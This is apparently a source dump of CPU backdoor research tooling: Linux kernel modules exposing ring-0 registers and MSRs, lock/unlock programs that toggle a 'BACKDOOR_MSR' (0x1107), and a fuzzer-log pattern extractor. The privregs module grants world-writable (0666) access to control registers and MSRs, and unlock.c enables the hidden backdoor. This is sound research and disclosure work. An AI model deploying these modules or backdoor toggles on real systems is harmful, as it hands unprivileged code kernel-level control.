{ 102 | int result; 103 | struct device *dev_ret; 104 | 105 | reset_buffer(); 106 | 107 | if ((result=alloc_chrdev_region(&deis_kernel_devno, 0, 1, device_name)) < 0) { 108 | return result; 109 | } 110 | 111 | if (IS_ERR(deis_kernel_class=class_create(THIS_MODULE, device_name))) { 112 | unregister_chrdev_region(deis_kernel_devno, 1); 113 | return PTR_ERR(deis_kernel_class); 114 | } 115 | deis_kernel_class->devnode=deis_kernel_devnode; 116 | if (IS_ERR(dev_ret=device_create(deis_kernel_class, NULL, deis_kernel_devno, NULL, device_name))) { 117 | class_destroy(deis_kernel_class); 118 | unregister_chrdev_region(deis_kernel_devno, 1); 119 | return PTR_ERR(dev_ret); 120 | } 121 | 122 | cdev_init(&deis_kernel_cdev, &fops); 123 | if ((result = cdev_add(&deis_kernel_cdev, deis_kernel_devno, 1)) < 0) 124 | { 125 | device_destroy(deis_kernel_class, deis_kernel_devno); 126 | class_destroy(deis_kernel_class); 127 | unregister_chrdev_region(deis_kernel_devno, 1); 128 | return result; 129 | } 130 | 131 | return 0; 132 | } 133 | 134 | static void unregister_device(void) 135 | { 136 | msg("unregister\n"); 137 | cdev_del(&deis_kernel_cdev); 138 | device_destroy(deis_kernel_class, deis_kernel_devno); 139 | class_destroy(deis_kernel_class); 140 | unregister_chrdev_region(deis_kernel_devno, 1); 141 | } 142 | 143 | static int __init init_deis_kernel(void) 144 | { 145 | int result; 146 | msg("init\n"); 147 | result=register_device(); 148 | return result; 149 | } 150 | 151 | static void __exit cleanup_deis_kernel(void) 152 | { 153 | msg("exit\n"); 154 | unregister_device(); 155 | } 156 | 157 | module_init(init_deis_kernel); 158 | module_exit(cleanup_deis_kernel); 159 | 160 | MODULE_LICENSE("GPL"); 161 | 162 | -------------------------------------------------------------------------------- /kern/deis_kernel.h: -------------------------------------------------------------------------------- 1 | #ifndef DEIS_KERNEL_H 2 | #define DEIS_KERNEL_H 3 | 4 | #define GET_BUFFER_ADDRESS 0x8001 5 | #define GET_BUFFER_SIZE 0x8002 6 | #define READ_BUFFER 0x8003 7 | #define RESET_BUFFER 0x8004 8 | 9 | #endif // DEIS_KERNEL_H 10 | -------------------------------------------------------------------------------- /kern/privregs/Makefile: -------------------------------------------------------------------------------- 1 | ARCH := $(shell getconf LONG_BIT) 2 | KERNEL_DIR := /lib/modules/$(shell uname -r)/build 3 | 4 | obj-m:=privregs.o 5 | 6 | default: 7 | $(MAKE) -C $(KERNEL_DIR) M=$(shell pwd) modules 8 | 9 | clean: 10 | $(MAKE) -C $(KERNEL_DIR) M=$(shell pwd) modules clean 11 | -------------------------------------------------------------------------------- /kern/privregs/privregs.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "privregs.h" 19 | 20 | #define DEBUG 1 21 | 22 | #define USE_AMD_PASSWORD 1 23 | #define AMD_PASSWORD_VAL "0x9c5a203a" 24 | #define AMD_PASSWORD_REG "esi" 25 | 26 | #if DEBUG 27 | #define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); } 28 | #else 29 | #define msg(m, ...) 30 | #endif 31 | 32 | #if defined(__x86_64__) 33 | typedef struct __attribute__ ((packed)) { uint64_t lo; uint64_t hi; } idt_descriptor_t; 34 | typedef struct __attribute__ ((packed)) { uint16_t size; uint64_t base; } idtr_t; 35 | typedef uint64_t register_t; 36 | #define PRIxPTR "016lx" 37 | #define FAULT_BYTES "32" 38 | #define SP "rsp" 39 | #elif defined(__i386__) 40 | typedef struct __attribute__ ((packed)) { uint64_t lo; } idt_descriptor_t; 41 | typedef struct __attribute__ ((packed)) { uint16_t size; uint32_t base; } idtr_t; 42 | typedef uint32_t register_t; 43 | #define PRIxPTR "08lx" 44 | #define FAULT_BYTES "16" 45 | #define SP "esp" 46 | #else 47 | #error 48 | #endif 49 | 50 | #define IDT_ALIGN 4096 51 | #define IDT_ENTRIES 256 52 | 53 | static void* idt_buffer=NULL; 54 | static void* idt=NULL; 55 | static idtr_t idtr_old, idtr_new; 56 | 57 | static const char device_name[]="privregs"; 58 | 59 | static dev_t privregs_devno; 60 | static struct cdev privregs_cdev; 61 | static struct class *privregs_class; 62 | 63 | static long privreg_ioctl( 64 | struct file* file, 65 | unsigned int cmd, 66 | unsigned long val 67 | ); 68 | 69 | static const struct file_operations fops={ 70 | .owner = THIS_MODULE, 71 | .unlocked_ioctl = privreg_ioctl 72 | }; 73 | 74 | static long privreg_ioctl( 75 | struct file* file, 76 | unsigned int usr_cmd, 77 | unsigned long usr_val 78 | ) 79 | { 80 | unsigned int cmd; 81 | privregs_req_t req; 82 | register unsigned long r_data; 83 | 84 | cmd = usr_cmd; 85 | get_user(req.reg, &((privregs_req_t*)usr_val)->reg); 86 | /* get_user(req.val, &((privregs_req_t*)usr_val)->val); */ 87 | /* poor old kernel can't find this? ^ */ 88 | copy_from_user(&req.val, &((privregs_req_t*)usr_val)->val, sizeof(req.val)); 89 | 90 | msg("ioctl %08x %08x %08llx\n", cmd, req.reg, req.val); 91 | 92 | switch (cmd) { 93 | case READ_CR: 94 | r_data=0; 95 | msg("cr read %u\n", req.reg); 96 | switch (req.reg) { 97 | case 0: __asm__ __volatile__ ("mov %%cr0, %0" : "=r"(r_data)); break; 98 | case 1: __asm__ __volatile__ ("mov %%cr1, %0" : "=r"(r_data)); break; 99 | case 2: __asm__ __volatile__ ("mov %%cr2, %0" : "=r"(r_data)); break; 100 | case 3: __asm__ __volatile__ ("mov %%cr3, %0" : "=r"(r_data)); break; 101 | case 4: __asm__ __volatile__ ("mov %%cr4, %0" : "=r"(r_data)); break; 102 | case 5: __asm__ __volatile__ ("mov %%cr5, %0" : "=r"(r_data)); break; 103 | case 6: __asm__ __volatile__ ("mov %%cr6, %0" : "=r"(r_data)); break; 104 | case 7: __asm__ __volatile__ ("mov %%cr7, %0" : "=r"(r_data)); break; 105 | case 8: __asm__ __volatile__ ("mov %%cr8, %0" : "=r"(r_data)); break; 106 | case 9: __asm__ __volatile__ ("mov %%cr9, %0" : "=r"(r_data)); break; 107 | case 10: __asm__ __volatile__ ("mov %%cr10, %0" : "=r"(r_data)); break; 108 | case 11: __asm__ __volatile__ ("mov %%cr11, %0" : "=r"(r_data)); break; 109 | case 12: __asm__ __volatile__ ("mov %%cr12, %0" : "=r"(r_data)); break; 110 | case 13: __asm__ __volatile__ ("mov %%cr13, %0" : "=r"(r_data)); break; 111 | case 14: __asm__ __volatile__ ("mov %%cr14, %0" : "=r"(r_data)); break; 112 | case 15: __asm__ __volatile__ ("mov %%cr15, %0" : "=r"(r_data)); break; 113 | default: 114 | msg("unsupported cr read %u\n", req.reg); 115 | break; 116 | } 117 | req.val=r_data; 118 | break; 119 | case WRITE_CR: 120 | r_data=req.val; 121 | msg("cr write %u\n", req.reg); 122 | switch (req.reg) { 123 | case 0: __asm__ __volatile__ ("mov %0, %%cr0" : : "r"(r_data)); break; 124 | case 1: __asm__ __volatile__ ("mov %0, %%cr1" : : "r"(r_data)); break; 125 | case 2: __asm__ __volatile__ ("mov %0, %%cr2" : : "r"(r_data)); break; 126 | case 3: __asm__ __volatile__ ("mov %0, %%cr3" : : "r"(r_data)); break; 127 | case 4: __asm__ __volatile__ ("mov %0, %%cr4" : : "r"(r_data)); break; 128 | case 5: __asm__ __volatile__ ("mov %0, %%cr5" : : "r"(r_data)); break; 129 | case 6: __asm__ __volatile__ ("mov %0, %%cr6" : : "r"(r_data)); break; 130 | case 7: __asm__ __volatile__ ("mov %0, %%cr7" : : "r"(r_data)); break; 131 | case 8: __asm__ __volatile__ ("mov %0, %%cr8" : : "r"(r_data)); break; 132 | case 9: __asm__ __volatile__ ("mov %0, %%cr9" : : "r"(r_data)); break; 133 | case 10: __asm__ __volatile__ ("mov %0, %%cr10" : : "r"(r_data)); break; 134 | case 11: __asm__ __volatile__ ("mov %0, %%cr11" : : "r"(r_data)); break; 135 | case 12: __asm__ __volatile__ ("mov %0, %%cr12" : : "r"(r_data)); break; 136 | case 13: __asm__ __volatile__ ("mov %0, %%cr13" : : "r"(r_data)); break; 137 | case 14: __asm__ __volatile__ ("mov %0, %%cr14" : : "r"(r_data)); break; 138 | case 15: __asm__ __volatile__ ("mov %0, %%cr15" : : "r"(r_data)); break; 139 | default: 140 | msg("unsupported cr write %u\n", req.reg); 141 | break; 142 | } 143 | break; 144 | case READ_DR: 145 | r_data=0; 146 | msg("dr read %u\n", req.reg); 147 | switch (req.reg) { 148 | case 0: __asm__ __volatile__ ("mov %%dr0, %0" : "=r"(r_data)); break; 149 | case 1: __asm__ __volatile__ ("mov %%dr1, %0" : "=r"(r_data)); break; 150 | case 2: __asm__ __volatile__ ("mov %%dr2, %0" : "=r"(r_data)); break; 151 | case 3: __asm__ __volatile__ ("mov %%dr3, %0" : "=r"(r_data)); break; 152 | case 4: __asm__ __volatile__ ("mov %%dr4, %0" : "=r"(r_data)); break; 153 | case 5: __asm__ __volatile__ ("mov %%dr5, %0" : "=r"(r_data)); break; 154 | case 6: __asm__ __volatile__ ("mov %%dr6, %0" : "=r"(r_data)); break; 155 | case 7: __asm__ __volatile__ ("mov %%dr7, %0" : "=r"(r_data)); break; 156 | default: 157 | msg("unsupported dr read %u\n", req.reg); 158 | break; 159 | } 160 | req.val=r_data; 161 | break; 162 | case WRITE_DR: 163 | r_data=req.val; 164 | msg("dr write %u\n", req.reg); 165 | switch (req.reg) { 166 | case 0: __asm__ __volatile__ ("mov %0, %%dr0" : : "r"(r_data)); break; 167 | case 1: __asm__ __volatile__ ("mov %0, %%dr1" : : "r"(r_data)); break; 168 | case 2: __asm__ __volatile__ ("mov %0, %%dr2" : : "r"(r_data)); break; 169 | case 3: __asm__ __volatile__ ("mov %0, %%dr3" : : "r"(r_data)); break; 170 | case 4: __asm__ __volatile__ ("mov %0, %%dr4" : : "r"(r_data)); break; 171 | case 5: __asm__ __volatile__ ("mov %0, %%dr5" : : "r"(r_data)); break; 172 | case 6: __asm__ __volatile__ ("mov %0, %%dr6" : : "r"(r_data)); break; 173 | case 7: __asm__ __volatile__ ("mov %0, %%dr7" : : "r"(r_data)); break; 174 | default: 175 | msg("unsupported dr write %u\n", req.reg); 176 | break; 177 | } 178 | break; 179 | case READ_MSR: 180 | __asm__ __volatile__ ("\ 181 | movl %2, %%ecx \n\ 182 | rdmsr \n\ 183 | movl %%eax, %0 \n\ 184 | movl %%edx, %1 \n\ 185 | " 186 | :"=m"(req.val), "=m"(*((uint32_t*)&req.val+1)) 187 | :"m"(req.reg) 188 | :"eax", "ecx", "edx" 189 | ); 190 | break; 191 | case WRITE_MSR: 192 | __asm__ __volatile__ ("\ 193 | " 194 | #if USE_AMD_PASSWORD 195 | "\ 196 | movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\ 197 | " 198 | #endif 199 | "\ 200 | movl %2, %%ecx \n\ 201 | movl %0, %%eax \n\ 202 | movl %1, %%edx \n\ 203 | wrmsr \n\ 204 | " 205 | : 206 | :"m"(req.val), "m"(*((uint32_t*)&req.val+1)), "m"(req.reg) 207 | :"eax", "ecx", "edx", AMD_PASSWORD_REG 208 | ); 209 | break; 210 | case CHECK_MSR: 211 | __asm__ __volatile__ ("lidt %0" :: "m"(idtr_new)); 212 | __asm__ __volatile__ ("\ 213 | " 214 | #if USE_AMD_PASSWORD 215 | "\ 216 | movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\ 217 | " 218 | #endif 219 | "\ 220 | movl %1, %%ecx \n\ 221 | rdmsr \n\ 222 | movl $1, %0 \n\ 223 | jmp done \n\ 224 | handler: \n\ 225 | add $" FAULT_BYTES ", %%" SP "\n\ 226 | movl $0, %0 \n\ 227 | done: \n\ 228 | " 229 | :"=m"(req.val) 230 | :"m"(req.reg) 231 | :"eax", "ecx", "edx", AMD_PASSWORD_REG 232 | ); 233 | __asm__ __volatile__ ("lidt %0" :: "m"(idtr_old)); 234 | break; 235 | case READ_SEG: 236 | r_data=0; 237 | msg("seg read %u\n", req.reg); 238 | switch (req.reg) { 239 | case SEG_DS: __asm__ __volatile__ ("mov %%ds, %0" : "=r"(r_data)); break; 240 | case SEG_ES: __asm__ __volatile__ ("mov %%es, %0" : "=r"(r_data)); break; 241 | case SEG_FS: __asm__ __volatile__ ("mov %%fs, %0" : "=r"(r_data)); break; 242 | case SEG_GS: __asm__ __volatile__ ("mov %%gs, %0" : "=r"(r_data)); break; 243 | case SEG_SS: __asm__ __volatile__ ("mov %%ss, %0" : "=r"(r_data)); break; 244 | case SEG_CS: __asm__ __volatile__ ("mov %%cs, %0" : "=r"(r_data)); break; 245 | default: 246 | msg("unsupported seg read %u\n", req.reg); 247 | break; 248 | } 249 | req.val=r_data; 250 | break; 251 | case WRITE_SEG: 252 | r_data=req.val; 253 | msg("seg write %u\n", req.reg); 254 | switch (req.reg) { 255 | case SEG_DS: __asm__ __volatile__ ("mov %0, %%ds" : : "r"(r_data)); break; 256 | case SEG_ES: __asm__ __volatile__ ("mov %0, %%es" : : "r"(r_data)); break; 257 | case SEG_FS: __asm__ __volatile__ ("mov %0, %%fs" : : "r"(r_data)); break; 258 | case SEG_GS: __asm__ __volatile__ ("mov %0, %%gs" : : "r"(r_data)); break; 259 | case SEG_SS: __asm__ __volatile__ ("mov %0, %%ss" : : "r"(r_data)); break; 260 | case SEG_CS: __asm__ __volatile__ ("mov %0, %%cs" : : "r"(r_data)); break; 261 | default: 262 | msg("unsupported seg write %u\n", req.reg); 263 | break; 264 | } 265 | break; 266 | default: 267 | msg("unrecognized ioctl %d\n", cmd); 268 | break; 269 | } 270 | put_user(req.reg, &((privregs_req_t*)usr_val)->reg); 271 | put_user(req.val, &((privregs_req_t*)usr_val)->val); 272 | return 0; 273 | } 274 | 275 | static int swap_idt(void) 276 | { 277 | extern /* void */ char handler; 278 | uint64_t fault_handler=(uint64_t)(uintptr_t)&handler; 279 | idt_descriptor_t descriptor_d_catch, descriptor_d_orig; 280 | 281 | msg("swapping idt\n"); 282 | 283 | idt_buffer=kmalloc(IDT_ALIGN+IDT_ENTRIES*sizeof(idt_descriptor_t), GFP_KERNEL); 284 | if (idt_buffer==NULL) { return -1; } 285 | idt=(void*)(((uintptr_t)idt_buffer)&~((uintptr_t)IDT_ALIGN-1)); 286 | 287 | msg("idt_buffer: %"PRIxPTR"\n", (uintptr_t)idt_buffer); 288 | msg("idt: %"PRIxPTR"\n", (uintptr_t)idt); 289 | 290 | __asm__ __volatile__ ("\ 291 | sidt %[_idt] \n\ 292 | " 293 | : [_idt]"=m"(idtr_old) 294 | ); 295 | 296 | msg("idtr.base: %"PRIxPTR"\n", (uintptr_t)idtr_old.base); 297 | msg("idtr.size: %04x\n", idtr_old.size); 298 | 299 | descriptor_d_orig=((idt_descriptor_t*)idtr_old.base)[0xd]; 300 | 301 | msg("idt[d].lo: %016llx\n", descriptor_d_orig.lo); 302 | 303 | memcpy(idt, (void*)idtr_old.base, IDT_ENTRIES*sizeof(idt_descriptor_t)); 304 | 305 | idtr_new.size=idtr_old.size; 306 | idtr_new.base=(uintptr_t)idt; 307 | 308 | msg("handler address > %"PRIxPTR"\n", (uintptr_t)&handler); 309 | 310 | descriptor_d_catch.lo= 311 | (descriptor_d_orig.lo&0x0000ffffffff0000ULL)| 312 | (fault_handler&0x000000000000ffffULL) | 313 | ((fault_handler&0x00000000ffff0000ULL) << 32); 314 | 315 | #if defined(__x86_64__) 316 | descriptor_d_catch.hi= 317 | ((fault_handler&0xffffffff00000000ULL) >> 32); 318 | #endif 319 | 320 | ((idt_descriptor_t*)idtr_new.base)[0xd]=descriptor_d_catch; 321 | 322 | msg("idt[d].lo: %016llx\n", descriptor_d_catch.lo); 323 | 324 | return 0; 325 | } 326 | 327 | static void unswap_idt(void) 328 | { 329 | kfree(idt_buffer); 330 | } 331 | 332 | static char *privregs_devnode(struct device *dev, umode_t *mode) 333 | { 334 | if (!mode) 335 | return NULL; 336 | /* 337 | if (dev->devt == MKDEV(TTYAUX_MAJOR, 0) || 338 | dev->devt == MKDEV(TTYAUX_MAJOR, 2)) 339 | */ 340 | *mode=0666; 341 | return NULL; 342 | } 343 | 344 | static int register_device(void) 345 | { 346 | int result; 347 | struct device *dev_ret; 348 | 349 | if ((result=alloc_chrdev_region(&privregs_devno, 0, 1, device_name)) < 0) { 350 | return result; 351 | } 352 | 353 | if (IS_ERR(privregs_class=class_create(THIS_MODULE, device_name))) { 354 | unregister_chrdev_region(privregs_devno, 1); 355 | return PTR_ERR(privregs_class); 356 | } 357 | privregs_class->devnode=privregs_devnode; 358 | if (IS_ERR(dev_ret=device_create(privregs_class, NULL, privregs_devno, NULL, device_name))) { 359 | class_destroy(privregs_class); 360 | unregister_chrdev_region(privregs_devno, 1); 361 | return PTR_ERR(dev_ret); 362 | } 363 | 364 | cdev_init(&privregs_cdev, &fops); 365 | if ((result = cdev_add(&privregs_cdev, privregs_devno, 1)) < 0) 366 | { 367 | device_destroy(privregs_class, privregs_devno); 368 | class_destroy(privregs_class); 369 | unregister_chrdev_region(privregs_devno, 1); 370 | return result; 371 | } 372 | 373 | return 0; 374 | } 375 | 376 | static void unregister_device(void) 377 | { 378 | msg("unregister\n"); 379 | cdev_del(&privregs_cdev); 380 | device_destroy(privregs_class, privregs_devno); 381 | class_destroy(privregs_class); 382 | unregister_chrdev_region(privregs_devno, 1); 383 | } 384 | 385 | static int __init init_privreg(void) 386 | { 387 | int result; 388 | msg("init\n"); 389 | result=register_device(); 390 | 391 | if (!result) { 392 | result=swap_idt(); 393 | } 394 | 395 | return result; 396 | } 397 | 398 | static void __exit cleanup_privreg(void) 399 | { 400 | msg("exit\n"); 401 | unswap_idt(); 402 | unregister_device(); 403 | } 404 | 405 | module_init(init_privreg); 406 | module_exit(cleanup_privreg); 407 | 408 | MODULE_LICENSE("GPL"); 409 | MODULE_AUTHOR("xoreaxeaxeax"); 410 | MODULE_DESCRIPTION("Access to ring 0 registers"); 411 | -------------------------------------------------------------------------------- /kern/privregs/privregs.h: -------------------------------------------------------------------------------- 1 | #ifndef PRIVREGS_H 2 | #define PRIVREGS_H 3 | 4 | #define READ_CR 0x8001 5 | #define READ_DR 0x8002 6 | #define READ_SEG 0x8003 7 | #define READ_MSR 0x8004 8 | #define WRITE_CR 0x8005 9 | #define WRITE_DR 0x8006 10 | #define WRITE_SEG 0x8007 11 | #define WRITE_MSR 0x8008 12 | #define CHECK_MSR 0x8009 13 | 14 | typedef enum { 15 | SEG_DS, 16 | SEG_ES, 17 | SEG_FS, 18 | SEG_GS, 19 | SEG_SS, 20 | SEG_CS 21 | } segment_register_t; 22 | 23 | typedef struct { 24 | uint32_t reg; 25 | uint64_t val; 26 | } privregs_req_t; 27 | 28 | #endif // PRIVREGS_H 29 | -------------------------------------------------------------------------------- /kern/test_deis_kernel.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "deis_kernel.h" 8 | 9 | int main(void) 10 | { 11 | int i; 12 | uintptr_t buffer_address; 13 | unsigned int buffer_size; 14 | unsigned char* buffer=NULL; 15 | int handle; 16 | 17 | handle=open("/dev/deis_kernel", O_RDWR); 18 | 19 | if (!handle) { 20 | printf("could not open device\n"); 21 | exit(-1); 22 | } 23 | 24 | ioctl(handle, GET_BUFFER_SIZE, &buffer_size); 25 | printf("buffer size: %d\n", buffer_size); 26 | buffer=malloc(buffer_size); 27 | 28 | ioctl(handle, GET_BUFFER_ADDRESS, &buffer_address); 29 | printf("buffer address: %08x\n", buffer_address); 30 | 31 | ioctl(handle, READ_BUFFER, buffer); 32 | for (i=0; i // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define DEVICE_NAME "watch_mem" 12 | 13 | int g_time_interval = 1000; 14 | struct timer_list g_timer; 15 | 16 | unsigned char buffer[]={ 17 | 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 18 | 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 19 | }; 20 | 21 | void tick(unsigned long data) 22 | { 23 | printk(">>> &buffer: %08lx > %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n", 24 | (uintptr_t)buffer, 25 | buffer[0], 26 | buffer[1], 27 | buffer[2], 28 | buffer[3], 29 | buffer[4], 30 | buffer[5], 31 | buffer[6], 32 | buffer[7], 33 | buffer[8], 34 | buffer[9], 35 | buffer[10], 36 | buffer[11], 37 | buffer[12], 38 | buffer[13], 39 | buffer[14], 40 | buffer[15] 41 | ); 42 | 43 | /* restart the timer */ 44 | mod_timer(&g_timer, jiffies+msecs_to_jiffies(g_time_interval)); 45 | } 46 | 47 | static int __init watch_init(void) 48 | { 49 | printk(KERN_INFO "entering\n"); 50 | 51 | /* start the timer */ 52 | setup_timer(&g_timer, tick, 0); 53 | mod_timer( &g_timer, jiffies + msecs_to_jiffies(g_time_interval)); 54 | 55 | return 0; 56 | } 57 | 58 | static void __exit watch_cleanup(void) 59 | { 60 | printk(KERN_INFO "Cleaning up module.\n"); 61 | del_timer(&g_timer); 62 | } 63 | 64 | module_init(watch_init); 65 | module_exit(watch_cleanup); 66 | -------------------------------------------------------------------------------- /lock/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/unlock bin/lock 2 | 3 | bin/unlock: unlock.c 4 | mkdir -p bin 5 | gcc -m32 unlock.c -o bin/unlock 6 | 7 | bin/lock: lock.c 8 | mkdir -p bin 9 | gcc -m32 lock.c -o bin/lock 10 | 11 | clean: 12 | rm -f bin/* 13 | -------------------------------------------------------------------------------- /lock/lock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define BACKDOOR_MSR 0x00001107 9 | #define BACKDOOR_TOGGLE 0x00000001 10 | 11 | #define MSR_DEV "/dev/cpu/0/msr" 12 | 13 | int main(void) 14 | { 15 | FILE* f; 16 | uint64_t v; 17 | 18 | f=fopen(MSR_DEV, "rb+"); 19 | 20 | if (f==NULL) { 21 | printf("! failed to open %s\n", MSR_DEV); 22 | exit(-1); 23 | } 24 | 25 | fseek(f, BACKDOOR_MSR, SEEK_SET); 26 | fread(&v, 8, 1, f); 27 | printf("read.... %08llx\n", v); 28 | 29 | v&=~BACKDOOR_TOGGLE; 30 | 31 | fseek(f, BACKDOOR_MSR, SEEK_SET); 32 | fwrite(&v, 8, 1, f); 33 | printf("wrote... %08llx\n", v); 34 | 35 | fseek(f, BACKDOOR_MSR, SEEK_SET); 36 | fread(&v, 8, 1, f); 37 | printf("read.... %08llx\n", v); 38 | 39 | fclose(f); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /lock/unlock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define BACKDOOR_MSR 0x00001107 9 | #define BACKDOOR_TOGGLE 0x00000001 10 | 11 | #define MSR_DEV "/dev/cpu/0/msr" 12 | 13 | int main(void) 14 | { 15 | FILE* f; 16 | uint64_t v; 17 | 18 | f=fopen(MSR_DEV, "rb+"); 19 | 20 | if (f==NULL) { 21 | printf("! failed to open %s\n", MSR_DEV); 22 | exit(-1); 23 | } 24 | 25 | fseek(f, BACKDOOR_MSR, SEEK_SET); 26 | fread(&v, 8, 1, f); 27 | printf("read.... %08llx\n", v); 28 | 29 | v|=BACKDOOR_TOGGLE; 30 | 31 | fseek(f, BACKDOOR_MSR, SEEK_SET); 32 | fwrite(&v, 8, 1, f); 33 | printf("wrote... %08llx\n", v); 34 | 35 | fseek(f, BACKDOOR_MSR, SEEK_SET); 36 | fread(&v, 8, 1, f); 37 | printf("read.... %08llx\n", v); 38 | 39 | fclose(f); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /proc/extract.py: -------------------------------------------------------------------------------- 1 | # 2 | # project:rosenbridge 3 | # domas // @xoreaxeaxeax 4 | # 5 | 6 | # the pattern extractor # 7 | 8 | # this utility is used to process the logs generated from the deis instruction 9 | # fuzzer. by looking at changes in the system state, it identifies basic 10 | # patterns in an instruction, such as 'adds two registers' or 'loads a value 11 | # from memory'. it then groups instructions based on overlapping patterns; for 12 | # example, it may find a group that both writes a value to memory, and 13 | # decrements a register by 4 - we might then infer that these are 'push' 14 | # instructions. 15 | 16 | # the script should be run with pypy, and may use very large (>16 gb) amounts of 17 | # memory. 18 | 19 | import re 20 | import operator 21 | import sys 22 | import random 23 | 24 | ALL_RUNS = 4 # 1 for search kernel 25 | MEM_RUNS = 2 # 1 for search kernel 26 | 27 | registers = { 28 | "eax":32, "ebx":32, "ecx":32, "edx":32, "esi":32, "edi":32, "ebp":32, "esp":32, 29 | "mm0":64, "mm1":64, "mm2":64, "mm3":64, "mm4":64, "mm5":64, "mm6":64, "mm7":64, 30 | "cr0":32, "cr2":32, "cr3":32, "cr4":32, 31 | "dr0":32, "dr1":32, "dr2":32, "dr3":32, "dr4":32, "dr5":32, "dr6":32, "dr7":32, 32 | "eflags":32, 33 | } 34 | 35 | sprs = [ 36 | "cr0", "cr2", "cr3", "cr4", 37 | "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7", 38 | "eflags", 39 | ] 40 | 41 | class insn: 42 | def __init__(self, instruction, input_state, output_state, input_mem, output_mem, run, lines=""): 43 | self.instruction = instruction 44 | self.input_state = input_state 45 | self.output_state = output_state 46 | self.input_mem = input_mem 47 | self.output_mem = output_mem 48 | self.run = run 49 | self.lines = lines 50 | 51 | def bits(self): 52 | b = "{0:032b}".format(self.instruction) 53 | n = 4 54 | b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)]) 55 | n = 10 56 | b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)]) 57 | return b 58 | 59 | def __str__(self): 60 | return "%08x [ %s ]" % (self.instruction, self.bits()) 61 | 62 | instructions = [] 63 | 64 | if len(sys.argv) < 2: 65 | print "usage: parse_log.py log" 66 | exit(-1) 67 | 68 | with open(sys.argv[1], "r") as f: 69 | state = None 70 | instruction = None 71 | i_lines = None 72 | run = None 73 | 74 | # loading 75 | lines = f.readlines() 76 | 77 | # cleaning 78 | HEADER = "> device <.*, unknown>: " 79 | cleaned_lines = [] 80 | for l in lines: 81 | l = l.replace("\r\n", "\n") 82 | if "debian kernel" in l: 83 | # remove kernel messages, which can appear in between others 84 | continue 85 | # temporary hack to correct missing spaces in mmx headers 86 | if "mm0" in l or "mm4" in l: 87 | l = l[:-1] + " " + "\n" 88 | if re.match(HEADER, l): 89 | l = l[re.search(HEADER, l).end():] 90 | if l.strip(): 91 | #cleaned_lines.append(l.strip() + '\n') 92 | cleaned_lines.append(l.rstrip("\r\n") + '\n') 93 | lines = cleaned_lines 94 | 95 | # parsing 96 | skip = False 97 | for (i, l) in enumerate(lines): 98 | if l.startswith(">------------------"): 99 | # parse start 100 | i_lines = [] 101 | state_in = {} 102 | state_out = {} 103 | i_mem = [] 104 | o_mem = [] 105 | run = None 106 | elif l.startswith("<------------------") or "(timeout - aborting)" in l: 107 | # parse end 108 | if not skip: 109 | if instruction and state_in and state_out and i_mem and o_mem and run is not None: 110 | instructions.append(insn(instruction, state_in, state_out, i_mem, o_mem, run, i_lines)) 111 | skip = False 112 | elif l.startswith("(run"): 113 | # parse run 114 | run = int(re.search("^\(run (\d+)\)", l).group(1)) 115 | elif l.startswith(". L("): 116 | # parse instruction 117 | instruction = int(re.search("^. L\((.{8})\)", l).group(1), 16) 118 | elif "00 04 08 0c" in l: 119 | # parse memory 120 | i_mem_l = lines[i+1][len(". inject: "):] 121 | o_mem_l = lines[i+2][len(". result: "):] 122 | try: 123 | i_mem = [int(x, 16) for x in i_mem_l.split()] 124 | o_mem = [int(x, 16) for x in o_mem_l.split()] 125 | except: 126 | print "warning: skipping corrupted line %d" % i 127 | skip = True 128 | break 129 | elif any(r in l for r in registers): 130 | # parse state 131 | for r in registers: 132 | if r not in l: 133 | continue 134 | k = l.index(r) 135 | reg_len = re.search("[^ ]", l[k + len(r):]).start() + len(r) 136 | try: 137 | reg_in = int(lines[i+1][k:k+reg_len].replace(" ", ""), 16) 138 | reg_out = int(lines[i+2][k:k+reg_len].replace(" ", ""), 16) 139 | except: 140 | print "warning: skipping corrupted line %d" % i 141 | skip = True 142 | break 143 | state_in[r] = reg_in 144 | state_out[r] = reg_out 145 | for k in xrange(3): 146 | if lines[i + k] not in i_lines: 147 | i_lines.append(lines[i + k]) 148 | 149 | # shortcut, just print all instructions 150 | if "-ll" in sys.argv: 151 | l = [] 152 | for ins in instructions: 153 | l.append("%08x" % ins.instruction) 154 | print "uint32_t twiddle_ins_source[]={" 155 | for i in sorted(set(l)): 156 | print " 0x%s," % i 157 | print "};" 158 | exit(0) 159 | 160 | # group multiple runs 161 | ins_runs = {} 162 | for ins in instructions: 163 | if ins.instruction in ins_runs: 164 | ins_runs[ins.instruction].append(ins) 165 | else: 166 | ins_runs[ins.instruction] = [ins] 167 | 168 | ins_to_patterns = {} 169 | patterns_to_ins = {} 170 | def add_ins_to_pattern(ins, pattern): 171 | # remove old pattern 172 | if ins in ins_to_patterns: 173 | p = ins_to_patterns[ins] 174 | if p in patterns_to_ins: 175 | patterns_to_ins[p].remove(ins) 176 | 177 | # add new pattern 178 | if ins in ins_to_patterns: 179 | ins_to_patterns[ins] = ins_to_patterns[ins].union([pattern]) 180 | else: 181 | ins_to_patterns[ins] = frozenset([pattern]) 182 | 183 | 